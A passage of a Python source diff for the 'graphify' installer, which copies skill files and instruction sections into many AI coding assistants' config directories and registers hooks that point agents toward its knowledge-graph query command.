str: + return str(Path(_GRAPHIFY_OUT) / "graph.json") + + +def _enforce_graph_size_cap_or_exit(gp: Path) -> None: + """Reject oversized graph files before parsing (CLI exit-on-fail flavor). + + Delegates to ``graphify.security.check_graph_file_size_cap`` and turns the + raised ``ValueError`` into a CLI-style ``error: ...`` message + exit 1. + Use this from ``__main__.py`` subcommands that already use the ``print + + sys.exit(1)`` idiom. Library/MCP/loader callers (``serve._load_graph``, + ``build``, ``benchmark``, ``tree_html``, ``callflow_html``, ``prs``, + ``global_graph``, ``watch``, ``export``) call the security helper directly + and let the ``ValueError`` propagate. + """ + from graphify.security import check_graph_file_size_cap + try: + check_graph_file_size_cap(gp) + except ValueError as exc: + print(f"error: {exc}", file=sys.stderr) + sys.exit(1) + + +def _check_skill_version(skill_dst: Path) -> None: + """Warn if the installed skill is from an older graphify version.""" + version_file = skill_dst.parent / ".graphify_version" + if not version_file.exists(): + return + if not skill_dst.exists(): + print(" warning: skill dir exists but SKILL.md is missing. Run 'graphify install' to repair.") + return + # A progressive SKILL.md links to its references/ sidecar. If the body points + # at references/ but the dir is gone (manual delete, partial upgrade), the + # on-demand fragments won't load — flag it for repair. + try: + body = skill_dst.read_text(encoding="utf-8") + except OSError: + body = "" + if "references/" in body and not (skill_dst.parent / "references").exists(): + print(" warning: skill references/ sidecar is missing. Run 'graphify install' to repair.", file=sys.stderr) + installed = version_file.read_text(encoding="utf-8").strip() + if installed != __version__: + print(f" warning: skill is from graphify {installed}, package is {__version__}. Run 'graphify install' to update.", file=sys.stderr) + + +def _refresh_all_version_stamps() -> None: + """After a successful install, update .graphify_version in all other known skill dirs. + + Prevents stale-version warnings from platforms that were installed previously + but not explicitly re-installed during this upgrade. + """ + for name in _PLATFORM_CONFIG: + skill_dst = _platform_skill_destination(name) + vf = skill_dst.parent / ".graphify_version" + if skill_dst.exists(): + vf.write_text(__version__, encoding="utf-8") + + +def _platform_skill_destination(platform_name: str, *, project: bool = False, project_dir: Path | None = None) -> Path: + """Return the skill destination for a platform and scope.""" + if platform_name == "gemini": + if project: + return (project_dir or Path(".")) / ".gemini" / "skills" / "graphify" / "SKILL.md" + if platform.system() == "Windows": + return Path.home() / ".agents" / "skills" / "graphify" / "SKILL.md" + return Path.home() / ".gemini" / "skills" / "graphify" / "SKILL.md" + + if platform_name == "opencode": + if project: + return (project_dir or Path(".")) / ".opencode" / "skills" / "graphify" / "SKILL.md" + return Path.home() / ".config" / "opencode" / "skills" / "graphify" / "SKILL.md" + + if platform_name == "devin": + if project: + return (project_dir or Path(".")) / ".devin" / "skills" / "graphify" / "SKILL.md" + return Path.home() / ".config" / "devin" / "skills" / "graphify" / "SKILL.md" + + if platform_name == "amp": + if project: + return (project_dir or Path(".")) / ".agents" / "skills" / "graphify" / "SKILL.md" + return Path.home() / ".config" / "agents" / "skills" / "graphify" / "SKILL.md" + + if platform_name in ("antigravity", "antigravity-windows"): + if project: + return (project_dir or Path(".")) / ".agents" / "skills" / "graphify" / "SKILL.md" + # Global Antigravity skill dir (all workspaces): ~/.gemini/config/skills/ + return Path.home() / ".gemini" / "config" / "skills" / "graphify" / "SKILL.md" + + cfg = _PLATFORM_CONFIG[platform_name] + if project: + return (project_dir or Path(".")) / cfg["skill_dst"] + + if platform_name in ("claude", "windows") and os.environ.get("CLAUDE_CONFIG_DIR"): + return Path(os.environ["CLAUDE_CONFIG_DIR"]) / "skills" / "graphify" / "SKILL.md" + return Path.home() / cfg["skill_dst"] + + +def _packaged_skill_refs_dir(platform_name: str) -> Path | None: + """Return the packaged references source dir for a progressive platform, else None. + + A platform opts into progressive disclosure by setting ``skill_refs`` in its + ``_PLATFORM_CONFIG`` entry. The value names a bundle under + ``graphify/skills//references/``. Reuse keys (e.g. trae-cn) point at + their twin's bundle. + + ``gemini`` has no ``_PLATFORM_CONFIG`` entry: it installs claude's + ``skill.md`` body verbatim (see ``_copy_skill_file``). Since that body is the + lean progressive core that links to ``references/``, gemini needs claude's + references/ sidecar too, or its SKILL.md ships with dead pointers. So gemini + resolves to the claude bundle rather than opting out. + + Bundles ship one platform-group at a time. A host whose bundle directory + ``graphify/skills//`` is not in this build has not gone progressive + yet, so this returns None and the host installs today's monolithic SKILL.md + with no references/ sidecar. Only when the bundle directory IS present does + this return the references path; if that directory then lacks its + ``references/`` subdir, ``_copy_skill_file`` hard-fails (a malformed bundle, + the empty-sidecar regression the wheel-content test also guards). + """ + if platform_name == "gemini": + bundle = "claude" + else: + bundle = _PLATFORM_CONFIG[platform_name].get("skill_refs") + if not bundle: + return None + bundle_dir = Path(__file__).parent / "skills" / bundle + if not bundle_dir.is_dir(): + return None + return bundle_dir / "references" + + +def _install_skill_references(skill_dst: Path, refs_src: Path) -> None: + """Atomically install a packaged references/ sidecar next to SKILL.md. + + Stages the packaged dir into ``references.tmp`` (copytree), drops any stale + ``references/`` already on disk, then ``os.replace``-renames the staged dir + into place. The rename is atomic on the same filesystem, so an interrupted + install never leaves a half-written references/ visible to the agent. + """ + refs_dst = skill_dst.parent / "references" + refs_staged = skill_dst.parent / "references.tmp" + if refs_staged.exists(): + shutil.rmtree(refs_staged) + try: + shutil.copytree(refs_src, refs_staged) + if refs_dst.exists(): + shutil.rmtree(refs_dst) + os.replace(refs_staged, refs_dst) + except Exception: + if refs_staged.exists(): + shutil.rmtree(refs_staged, ignore_errors=True) + raise + + +def _copy_skill_file(platform_name: str, *, project: bool = False, project_dir: Path | None = None) -> Path: + """Copy a packaged skill file and write its version stamp. + + For progressive platforms (those with ``skill_refs`` set), the packaged + ``references/`` sidecar is installed alongside SKILL.md and the single + ``.graphify_version`` stamp covers both. For monolith platforms (no + ``skill_refs``), any orphan ``references/`` left by a prior progressive + install is removed so the on-disk layout matches the package. + """ + skill_file = "skill.md" if platform_name == "gemini" else _PLATFORM_CONFIG[platform_name]["skill_file"] + skill_src = Path(__file__).parent / skill_file + if not skill_src.exists(): + print(f"error: {skill_file} not found in package - reinstall graphify", file=sys.stderr) + sys.exit(1) + + refs_src = _packaged_skill_refs_dir(platform_name) + if refs_src is not None and not refs_src.exists(): + # Progressive platform declared a references bundle that is missing from + # the package. Fail loud rather than silently shipping an empty sidecar. + print( + f"error: references for '{platform_name}' not found in package " + f"({refs_src}) - reinstall graphify", + file=sys.stderr, + ) + sys.exit(1) + + skill_dst = _platform_skill_destination(platform_name, project=project, project_dir=project_dir) + skill_dst.parent.mkdir(parents=True, exist_ok=True) + + # Install the references/ sidecar (or clear an orphan one) BEFORE writing + # SKILL.md, so SKILL.md is the last artifact laid down. An install that is + # interrupted partway then leaves no SKILL.md rather than a SKILL.md that + # points at an absent references/ dir. + if refs_src is not None: + _install_skill_references(skill_dst, refs_src) + print(f" references -> {skill_dst.parent / 'references'}") + else: + # Monolith (or progressive-with-no-refs): clear any orphan references/. + orphan_refs = skill_dst.parent / "references" + if orphan_refs.exists(): + shutil.rmtree(orphan_refs) + + # SKILL.md last (crash-safety), via an atomic temp + rename. + tmp_dst = skill_dst.with_suffix(skill_dst.suffix + ".tmp") + try: + shutil.copy(skill_src, tmp_dst) + os.replace(tmp_dst, skill_dst) + except Exception: + try: + tmp_dst.unlink(missing_ok=True) + except OSError: + pass + raise + + (skill_dst.parent / ".graphify_version").write_text(__version__, encoding="utf-8") + print(f" skill installed -> {skill_dst}") + return skill_dst + + +def _remove_skill_file(platform_name: str, *, project: bool = False, project_dir: Path | None = None) -> bool: + """Remove a platform skill file and its version stamp without touching other scopes.""" + skill_dst = _platform_skill_destination(platform_name, project=project, project_dir=project_dir) + removed = False + if skill_dst.exists(): + skill_dst.unlink() + print(f" skill removed -> {skill_dst}") + removed = True + version_file = skill_dst.parent / ".graphify_version" + if version_file.exists(): + version_file.unlink() + removed = True + refs_dir = skill_dst.parent / "references" + if refs_dir.exists(): + shutil.rmtree(refs_dir) + removed = True + for d in (skill_dst.parent, skill_dst.parent.parent, skill_dst.parent.parent.parent): + try: + d.rmdir() + except OSError: + break + return removed + + +def _project_scope_root(path: Path, project_dir: Path) -> Path: + """Return the top-level project artifact for a project-scoped skill path.""" + try: + rel = path.relative_to(project_dir) + except ValueError: + return path + return project_dir / rel.parts[0] if rel.parts else path + + +def _remove_claude_skill_registration(project_dir: Path) -> None: + """Remove the project-scoped Claude skill registration file/section.""" + claude_md = project_dir / ".claude" / "CLAUDE.md" + if not claude_md.exists(): + return + content = claude_md.read_text(encoding="utf-8") + if "# graphify" not in content: + return + cleaned = re.sub(r"\n*# graphify\n.*?(?=\n# |\Z)", "", content, flags=re.DOTALL).rstrip() + if cleaned: + claude_md.write_text(cleaned + "\n", encoding="utf-8") + print(f" CLAUDE.md -> graphify skill registration removed from {claude_md}") + else: + claude_md.unlink() + print(f" CLAUDE.md -> deleted {claude_md}") + + +def _print_project_git_add_hint(paths: list[Path]) -> None: + unique: list[str] = [] + for path in paths: + text = path.as_posix().rstrip("/") + if path.exists() and path.is_dir(): + text += "/" + if text not in unique: + unique.append(text) + if not unique: + return + print() + print("Project-scoped install. Add to version control:") + print(f" git add {' '.join(unique)}") + +_SETTINGS_HOOK = { + # Claude Code v2.1.117+ removed dedicated Grep/Glob tools; searches now go through Bash. + # We match on Bash and inspect the command string to avoid firing on every shell call. + "matcher": "Bash", + "hooks": [ + { + "type": "command", + "command": ( + "CMD=$(python3 -c \"" + "import json,sys; d=json.load(sys.stdin); " + "print(d.get('tool_input',d).get('command',''))\" 2>/dev/null || true); " + "case \"$CMD\" in " + r"*grep*|*rg\ *|*ripgrep*|*find\ *|*fd\ *|*ack\ *|*ag\ *) " + " [ -f graphify-out/graph.json ] && " + r""" echo '{"hookSpecificOutput":{"hookEventName":"PreToolUse","additionalContext":"graphify: knowledge graph at graphify-out/. For focused questions, run `graphify query \"\"` (scoped subgraph, usually much smaller than GRAPH_REPORT.md) instead of grepping raw files. Read GRAPH_REPORT.md only for broad architecture context."}}' """ + " || true ;; " + "esac" + ), + } + ], +} + +_READ_SETTINGS_HOOK = { + # The Bash hook above never sees a file read through the native Read tool or a + # Glob, which is the most common way an agent skips the graph: answering a + # codebase question by Read-ing many source files one by one (issue #1114). + # Match Read|Glob, inspect the target path, and nudge (never block) only for a + # source/doc file outside graphify-out/ when a graph exists. The parser is + # python3 (already a graphify dependency), the shell is POSIX, and every branch + # fails open, so a legitimate read always goes through. Reading the graph's own + # report under graphify-out/ is suppressed so it never starts a feedback loop. + "matcher": "Read|Glob", + "hooks": [ + { + "type": "command", + "command": ( + "HIT=$(python3 -c \"" + "import json,sys;" + "d=json.load(sys.stdin);" + "t=d.get('tool_input',d);" + "s=(str(t.get('file_path') or '')+' '+str(t.get('pattern') or '')+' '+str(t.get('path') or '')).lower().replace(chr(92),'/');" + "exts=('.py','.js','.ts','.tsx','.jsx','.go','.rs','.java','.rb','.c','.h','.cpp','.hpp','.cc','.cs','.kt','.swift','.php','.scala','.lua','.sh','.md','.rst','.txt','.mdx');" + "sys.stdout.write('1' if 'graphify-out/' not in s and any(e in s for e in exts) else '')\" 2>/dev/null || true); " + "if [ \"$HIT\" = 1 ] && [ -f graphify-out/graph.json ]; then " + r"""echo '{"hookSpecificOutput":{"hookEventName":"PreToolUse","additionalContext":"graphify: knowledge graph at graphify-out/. For codebase questions, run `graphify query \"\"` (scoped subgraph, usually much smaller than reading files one by one), `graphify explain \"\"`, or `graphify path \"\" \"\"`, instead of reading source files to answer. Read raw files to modify or debug specific code, or when the graph lacks the detail."}}'; """ + "fi || true" + ), + } + ], +} + +def _skill_registration(skill_path: str = "~/.claude/skills/graphify/SKILL.md") -> str: + return ( + "\n# graphify\n" + f"- **graphify** (`{skill_path}`) " + "- any input to knowledge graph. Trigger: `/graphify`\n" + "When the user types `/graphify`, invoke the Skill tool " + "with `skill: \"graphify\"` before doing anything else.\n" + ) + + +_PLATFORM_CONFIG: dict[str, dict] = { + "claude": { + "skill_file": "skill.md", + "skill_dst": Path(".claude") / "skills" / "graphify" / "SKILL.md", + "claude_md": True, + "skill_refs": "claude", + }, + "codex": { + "skill_file": "skill-codex.md", + "skill_dst": Path(".codex") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "codex", + }, + "opencode": { + "skill_file": "skill-opencode.md", + "skill_dst": Path(".config") / "opencode" / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "opencode", + }, + "kilo": { + "skill_file": "skill-kilo.md", + "skill_dst": Path(".config") / "kilo" / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "kilo", + }, + "aider": { + # Monolith: aider ships the full SKILL.md inline, no references/ sidecar. + "skill_file": "skill-aider.md", + "skill_dst": Path(".aider") / "graphify" / "SKILL.md", + "claude_md": False, + }, + "copilot": { + "skill_file": "skill-copilot.md", + "skill_dst": Path(".copilot") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "copilot", + }, + "claw": { + "skill_file": "skill-claw.md", + "skill_dst": Path(".openclaw") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "claw", + }, + "droid": { + "skill_file": "skill-droid.md", + "skill_dst": Path(".factory") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "droid", + }, + "trae": { + "skill_file": "skill-trae.md", + "skill_dst": Path(".trae") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "trae", + }, + "trae-cn": { + # Reuses trae's split bundle (same skill body + references). + "skill_file": "skill-trae.md", + "skill_dst": Path(".trae-cn") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "trae", + }, + "hermes": { + # Reuses claw's split bundle. + "skill_file": "skill-claw.md", + "skill_dst": Path(".hermes") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "claw", + }, + "kiro": { + "skill_file": "skill-kiro.md", + "skill_dst": Path(".kiro") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "kiro", + }, + "pi": { + "skill_file": "skill-pi.md", + "skill_dst": Path(".pi") / "agent" / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "pi", + }, + "codebuddy": { + # Reuses claude's split bundle (shares skill.md). + "skill_file": "skill.md", + "skill_dst": Path(".codebuddy") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "claude", + }, + "antigravity": { + # Rides claude's split bundle (shares skill.md). + "skill_file": "skill.md", + "skill_dst": Path(".agents") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "claude", + }, + "antigravity-windows": { + # Rides windows' split bundle. + "skill_file": "skill-windows.md", + "skill_dst": Path(".agents") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "windows", + }, + "windows": { + "skill_file": "skill-windows.md", + "skill_dst": Path(".claude") / "skills" / "graphify" / "SKILL.md", + "claude_md": True, + "skill_refs": "windows", + }, + "kimi": { + # Reuses claude's split bundle (shares skill.md). + "skill_file": "skill.md", + "skill_dst": Path(".kimi") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "claude", + }, + "amp": { + # Amp searches .agents/skills (project) and ~/.config/agents/skills (user), + # not .amp/skills. The user-scope path is set in _platform_skill_destination. + "skill_file": "skill-amp.md", + "skill_dst": Path(".agents") / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + "skill_refs": "amp", + }, + "devin": { + # Monolith: devin ships the full SKILL.md inline, no references/ sidecar. + "skill_file": "skill-devin.md", + # User scope: ~/.config/devin/skills/graphify/SKILL.md + # Project scope: .devin/skills/graphify/SKILL.md (overridden in _platform_skill_destination) + "skill_dst": Path(".config") / "devin" / "skills" / "graphify" / "SKILL.md", + "claude_md": False, + }, +} + + +def _replace_or_append_section(content: str, marker: str, new_section: str) -> str: + """Idempotently update or append a graphify-owned section in shared files. + + If ``marker`` is not in ``content``, append ``new_section`` to the end + (with a blank-line separator if there's existing content). + + If ``marker`` IS in ``content``, replace the existing section in place. + The section runs from the first line containing ``marker`` to the line + before the next H2 heading (``## `` at line start), or to EOF if no later + H2 exists. This lets older installs receive the updated copy without + users having to uninstall and reinstall — important for the issue #580 + fix where existing report-first text would otherwise silently linger. + """ + if marker not in content: + if content.strip(): + return content.rstrip() + "\n\n" + new_section.lstrip() + return new_section.lstrip() + + lines = content.split("\n") + start = next((i for i, line in enumerate(lines) if marker in line), None) + if start is None: + return content.rstrip() + "\n\n" + new_section.lstrip() + + end = len(lines) + for j in range(start + 1, len(lines)): + if lines[j].startswith("## "): + end = j + break + + head = "\n".join(lines[:start]).rstrip() + tail = "\n".join(lines[end:]).lstrip() + section = new_section.strip() + + parts: list[str] = [] + if head: + parts.append(head) + parts.append(section) + if tail: + parts.append(tail) + out = "\n\n".join(parts) + if not out.endswith("\n"): + out += "\n" + return out + + +def _print_banner() -> None: + """Amber brain banner on graphify install. TTY-only, never raises.""" + if not sys.stdout.isatty(): + return + try: + if sys.platform == "win32": + import ctypes + ctypes.windll.kernel32.SetConsoleMode( + ctypes.windll.kernel32.GetStdHandle(-11), 7 + ) + A = "\033[38;5;214m" + D = "\033[38;5;130m" + R = "\033[0m" + print(f"""{A} + ╭──◉──╮ ╭──◉──╮ + ╱ ◉ ◉ ╲ ╱ ◉ ◉ ╲ +│ ◉─◉─◉ ◉ ◉─◉─◉ │ +│ ◉ ◉ │ ◉ ◉ │ +│ ◉─◉─◉ ◉ ◉─◉─◉ │ + ╲ ◉ ◉ ╱ ╲ ◉ ◉ ╱ + ╰──◉──╯ ╰──◉──╯ + ◉ + + █▀▀ █▀█ ▄▀█ █▀█ █ █ █ █▀▀ █▄█ + █▄█ █▀▄ █▀█ █▀▀ █▀█ █ █▀ █{D} {__version__}{R} +""") + except Exception: + pass + + +def install(platform: str = "claude", *, project: bool = False, project_dir: Path | None = None) -> None: + _print_banner() + if platform == "gemini": + gemini_install(project_dir=project_dir, project=project) + return + if platform == "cursor": + _cursor_install(Path(".")) + return + # On Windows, antigravity needs the PowerShell skill, not the bash one + if platform == "antigravity" and sys.platform == "win32": + platform = "antigravity-windows" + if platform not in _PLATFORM_CONFIG: + print( + f"error: unknown platform '{platform}'. Choose from: {', '.join(_PLATFORM_CONFIG)}, gemini, cursor", + file=sys.stderr, + ) + sys.exit(1) + + cfg = _PLATFORM_CONFIG[platform] + project_dir = project_dir or Path(".") + skill_dst = _copy_skill_file(platform, project=project, project_dir=project_dir) + + if platform == "kilo": + # Kilo Code also supports a native /graphify command file. + command_src = Path(__file__).parent / "command-kilo.md" + if not command_src.exists(): + print( + f"error: command-kilo.md not found in package - reinstall graphify", + file=sys.stderr, + ) + sys.exit(1) + command_dst = Path.home() / ".config" / "kilo" / "command" / "graphify.md" + command_dst.parent.mkdir(parents=True, exist_ok=True) + shutil.copy(command_src, command_dst) + print(f" command installed -> {command_dst}") + + if cfg["claude_md"]: + # Register in the matching Claude Code scope. + claude_md = (project_dir / ".claude" / "CLAUDE.md") if project else Path.home() / ".claude" / "CLAUDE.md" + registration = _skill_registration(".claude/skills/graphify/SKILL.md" if project else "~/.claude/skills/graphify/SKILL.md") + if claude_md.exists(): + content = claude_md.read_text(encoding="utf-8") + if "graphify" in content: + print(f" CLAUDE.md -> already registered (no change)") + else: + claude_md.write_text(content.rstrip() + registration, encoding="utf-8") + print(f" CLAUDE.md -> skill registered in {claude_md}") + else: + claude_md.parent.mkdir(parents=True, exist_ok=True) + claude_md.write_text(registration.lstrip(), encoding="utf-8") + print(f" CLAUDE.md -> created at {claude_md}") + + if platform == "codebuddy": + # Register in ~/.codebuddy/CODEBUDDY.md (CodeBuddy only) + codebuddy_md = Path.home() / ".codebuddy" / "CODEBUDDY.md" + registration = _skill_registration("~/.codebuddy/skills/graphify/SKILL.md") + if codebuddy_md.exists(): + content = codebuddy_md.read_text(encoding="utf-8") + if "graphify" in content: + print(f" CODEBUDDY.md -> already registered (no change)") + else: + codebuddy_md.write_text(content.rstrip() + registration, encoding="utf-8") + print(f" CODEBUDDY.md -> skill registered in {codebuddy_md}") + else: + codebuddy_md.parent.mkdir(parents=True, exist_ok=True) + codebuddy_md.write_text(registration.lstrip(), encoding="utf-8") + print(f" CODEBUDDY.md -> created at {codebuddy_md}") + + if platform == "opencode": + _install_opencode_plugin(project_dir if project else Path(".")) + + # Refresh version stamps in all other previously-installed skill dirs so + # stale-version warnings don't fire for platforms not explicitly re-installed. + if project: + _print_project_git_add_hint([_project_scope_root(skill_dst, project_dir)]) + else: + _refresh_all_version_stamps() + + print() + print("Done. Open your AI coding assistant and type:") + print() + print(" /graphify .") + print() + + +def _print_install_usage() -> None: + platforms = ", ".join([*_PLATFORM_CONFIG, "gemini", "cursor"]) + print("Usage: graphify install [--project] [--platform P|P]") + print(f"Platforms: {platforms}") + + +# The always-on instruction blocks are packaged markdown under graphify/always_on/, +# generated by tools/skillgen and guarded by `skillgen --check`. Reading them at +# load keeps the install-string / issue-#580 contract byte-for-byte while letting +# a human edit one fragment instead of a triple-quoted literal here. + +_CLAUDE_MD_MARKER = "## graphify" + +_CODEBUDDY_MD_MARKER = "## graphify" + +# AGENTS.md section for Codex, OpenCode, and OpenClaw. +# All three platforms read AGENTS.md in the project root for persistent instructions. + +_AGENTS_MD_MARKER = "## graphify" + + +_GEMINI_MD_MARKER = "## graphify" + +_GEMINI_HOOK = { + "matcher": "read_file|list_directory", + "hooks": [ + { + "type": "command", + "command": ( + 'python -c "' + "import sys,pathlib,json;" + "e=pathlib.Path('graphify-out/graph.json').exists();" + "d={'decision':'allow'};" + "e and d.update({'additionalContext':'graphify: knowledge graph at graphify-out/. For focused questions, run `graphify query \"\"` (scoped subgraph, usually much smaller than GRAPH_REPORT.md) instead of grepping raw files. Read GRAPH_REPORT.md only for broad architecture context.'});" + "sys.stdout.write(json.dumps(d))" + '"' + ), + } + ], +} + + +def gemini_install(project_dir: Path | None = None, *, project: bool = False) -> None: + """Copy skill file, write GEMINI.md section, and install BeforeTool hook.""" + project_dir = project_dir or Path(".") + skill_dst = _copy_skill_file("gemini", project=project, project_dir=project_dir) + + target = project_dir / "GEMINI.md" + + if target.exists(): + content = target.read_text(encoding="utf-8") + new_content = _replace_or_append_section( + content, _GEMINI_MD_MARKER, _always_on("gemini-md") + ) + else: + new_content = _always_on("gemini-md") + + if target.exists() and new_content == target.read_text(encoding="utf-8"): + print(f"graphify already configured in {target.resolve()} (no change)") + else: + target.write_text(new_content, encoding="utf-8") + print(f"graphify section written to {target.resolve()}") + + # Always re-install the Gemini hook so an older payload (e.g. pre-issue-#580 + # wording) is replaced on upgrade. + _install_gemini_hook(project_dir) + if project: + _print_project_git_add_hint([_project_scope_root(skill_dst, project_dir), project_dir / "GEMINI.md", project_dir / ".gemini"]) + print() + print("Gemini CLI will now check the knowledge graph before answering") + print("codebase questions and rebuild it after code changes.") + + +def _install_gemini_hook(project_dir: Path) -> None: + settings_path = project_dir / ".gemini" / "settings.json" + settings_path.parent.mkdir(parents=True, exist_ok=True) + try: + settings = ( + json.loads(settings_path.read_text(encoding="utf-8")) + if settings_path.exists() + else {} + ) + except json.JSONDecodeError: + settings = {} + before_tool = settings.setdefault("hooks", {}).setdefault("BeforeTool", []) + settings["hooks"]["BeforeTool"] = [ + h for h in before_tool if "graphify" not in str(h) + ] + settings["hooks"]["BeforeTool"].append(_GEMINI_HOOK) + settings_path.write_text(json.dumps(settings, indent=2), encoding="utf-8") + print(" .gemini/settings.json -> BeforeTool hook registered") + + +def _uninstall_gemini_hook(project_dir: Path) -> None: + settings_path = project_dir / ".gemini" / "settings.json" + if not settings_path.exists(): + return + try: + settings = json.loads(settings_path.read_text(encoding="utf-8")) + except json.JSONDecodeError: + return + before_tool = settings.get("hooks", {}).get("BeforeTool", []) + filtered = [h for h in before_tool if "graphify" not in str(h)] + if len(filtered) == len(before_tool): + return + settings["hooks"]["BeforeTool"] = filtered + settings_path.write_text(json.dumps(settings, indent=2), encoding="utf-8") + print(" .gemini/settings.json -> BeforeTool hook removed") + + +def gemini_uninstall(project_dir: Path | None = None, *, project: bool = False) -> None: + """Remove the graphify section from GEMINI.md, uninstall hook, and remove skill file.""" + project_dir = project_dir or Path(".") + _remove_skill_file("gemini", project=project, project_dir=project_dir) + + target = project_dir / "GEMINI.md" + if not target.exists(): + print("No GEMINI.md found in current directory - nothing to do") + return + content = target.read_text(encoding="utf-8") + if _GEMINI_MD_MARKER not in content: + print("graphify section not found in GEMINI.md - nothing to do") + return + cleaned = re.sub( + r"\n*## graphify\n.*?(?=\n## |\Z)", "", content, flags=re.DOTALL + ).rstrip() + if cleaned: + target.write_text(cleaned + "\n", encoding="utf-8") + print(f"graphify section removed from {target.resolve()}") + else: + target.unlink() + print(f"GEMINI.md was empty after removal - deleted {target.resolve()}") + _uninstall_gemini_hook(project_dir) + + +_VSCODE_INSTRUCTIONS_MARKER = "## graphify" + + +def vscode_install(project_dir: Path | None = None) -> None: + """Install graphify skill for VS Code Copilot Chat + write .github/copilot-instructions.md.""" + skill_src = Path(__file__).parent / "skill-vscode.md" + refs_bundle = "vscode" + if not skill_src.exists(): + skill_src = Path(__file__).parent / "skill-copilot.md" + refs_bundle = "copilot" + skill_dst = Path.home() / ".copilot" / "skills" / "graphify" / "SKILL.md" + skill_dst.parent.mkdir(parents=True, exist_ok=True) + tmp_dst = skill_dst.with_suffix(skill_dst.suffix + ".tmp") + try: + shutil.copy(skill_src, tmp_dst) + os.replace(tmp_dst, skill_dst) + except Exception: + try: + tmp_dst.unlink(missing_ok=True) + except OSError: + pass + raise + # Progressive-capable: install the packaged references/ sidecar when present. + refs_src = Path(__file__).parent / "skills" / refs_bundle / "references" + if refs_src.exists(): + _install_skill_references(skill_dst, refs_src) + print(f" references -> {skill_dst.parent / 'references'}") + else: + orphan_refs = skill_dst.parent / "references" + if orphan_refs.exists(): + shutil.rmtree(orphan_refs) + (skill_dst.parent / ".graphify_version").write_text(__version__, encoding="utf-8") + print(f" skill installed -> {skill_dst}") + + instructions = (project_dir or Path(".")) / ".github" / "copilot-instructions.md" + instructions.parent.mkdir(parents=True, exist_ok=True) + if instructions.exists(): + content = instructions.read_text(encoding="utf-8") + new_content = _replace_or_append_section( + content, _VSCODE_INSTRUCTIONS_MARKER, _always_on("vscode-instructions") + ) + if new_content == content: + print(f" {instructions} -> already configured (no change)") + else: + instructions.write_text(new_content, encoding="utf-8") + print(f" {instructions} -> graphify section {'updated' if _VSCODE_INSTRUCTIONS_MARKER in content else 'added'}") + else: + instructions.write_text(_always_on("vscode-instructions"), encoding="utf-8") + print(f" {instructions} -> created") + + print() + print( + "VS Code Copilot Chat configured. Type /graphify in the chat panel to build the graph." + ) + print("Note: for GitHub Copilot CLI (terminal), use: graphify copilot install") + + +def vscode_uninstall(project_dir: Path | None = None) -> None: + """Remove graphify VS Code Copilot Chat skill and .github/copilot-instructions.md section.""" + skill_dst = Path.home() / ".copilot" / "skills" / "graphify" / "SKILL.md" + if skill_dst.exists(): + skill_dst.unlink() + print(f" skill removed -> {skill_dst}") + version_file = skill_dst.parent / ".graphify_version" + if version_file.exists(): + version_file.unlink() + refs_dir = skill_dst.parent / "references" + if refs_dir.exists(): + shutil.rmtree(refs_dir) + for d in ( + skill_dst.parent, + skill_dst.parent.parent, + skill_dst.parent.parent.parent, + ): + try: + d.rmdir() + except OSError: + break + + instructions = (project_dir or Path(".")) / ".github" / "copilot-instructions.md" + if not instructions.exists(): + return + content = instructions.read_text(encoding="utf-8") + if _VSCODE_INSTRUCTIONS_MARKER not in content: + return + cleaned = re.sub( + r"\n*## graphify\n.*?(?=\n## |\Z)", "", content, flags=re.DOTALL + ).rstrip() + if cleaned: + instructions.write_text(cleaned + "\n", encoding="utf-8") + print(f" graphify section removed from {instructions}") + else: + instructions.unlink() + print(f" {instructions} -> deleted (was empty after removal)") + + +_ANTIGRAVITY_RULES_PATH = Path(".agents") / "rules" / "graphify.md" +_ANTIGRAVITY_WORKFLOW_PATH = Path(".agents") / "workflows" / "graphify.md" + + +_ANTIGRAVITY_WORKFLOW = """\ +--- +name: graphify +description: Turn any folder of files into a navigable knowledge graph +--- + +# Workflow: graphify + +Follow the graphify skill installed at ~/.gemini/config/skills/graphify/SKILL.md to run the full pipeline. + +If no path argument is given, use `.` (current directory). +""" + + + +_KIRO_STEERING_MARKER = "graphify: A knowledge graph of this project" + + +def _kiro_install(project_dir: Path) -> None: + """Write graphify skill + steering file for Kiro IDE/CLI.""" + project_dir = project_dir or Path(".") + + # Skill file + references/ sidecar + .graphify_version stamp via the shared + # progressive-disclosure helper. Previously this used a bare write_text that + # bypassed _copy_skill_file, so the references/ dir and version stamp were + # never written even though kiro declares skill_refs: "kiro" (#1142). + _copy_skill_file("kiro", project=True, project_dir=project_dir) + + # Steering file → .kiro/steering/graphify.md (always-on) + steering_dir = project_dir / ".kiro" / "steering" + steering_dir.mkdir(parents=True, exist_ok=True) + steering_dst = steering_dir / "graphify.md" + if steering_dst.exists() and steering_dst.read_text(encoding="utf-8") == _always_on("kiro-steering"): + print(f" .kiro/steering/graphify.md -> already configured (no change)") + else: + # File is wholly graphify-owned. Overwrite on upgrade so older + # report-first wording does not silently linger (issue #580). + action = "updated" if steering_dst.exists() else "written" + steering_dst.write_text(_always_on("kiro-steering"), encoding="utf-8") + print(f" .kiro/steering/graphify.md -> always-on steering {action}") + + print() + print("Kiro will now read the knowledge graph before every conversation.") + print("Use /graphify to build or update the graph.") + + +def _kiro_uninstall(project_dir: Path) -> None: + """Remove graphify skill + steering file for Kiro.""" + project_dir = project_dir or Path(".") + removed = [] + + # Skill + .graphify_version + references/ sidecar + empty-dir walk. + skill_dst = _platform_skill_destination("kiro", project=True, project_dir=project_dir) + if _remove_skill_file("kiro", project=True, project_dir=project_dir): + removed.append(str(skill_dst.relative_to(project_dir))) + + steering_dst 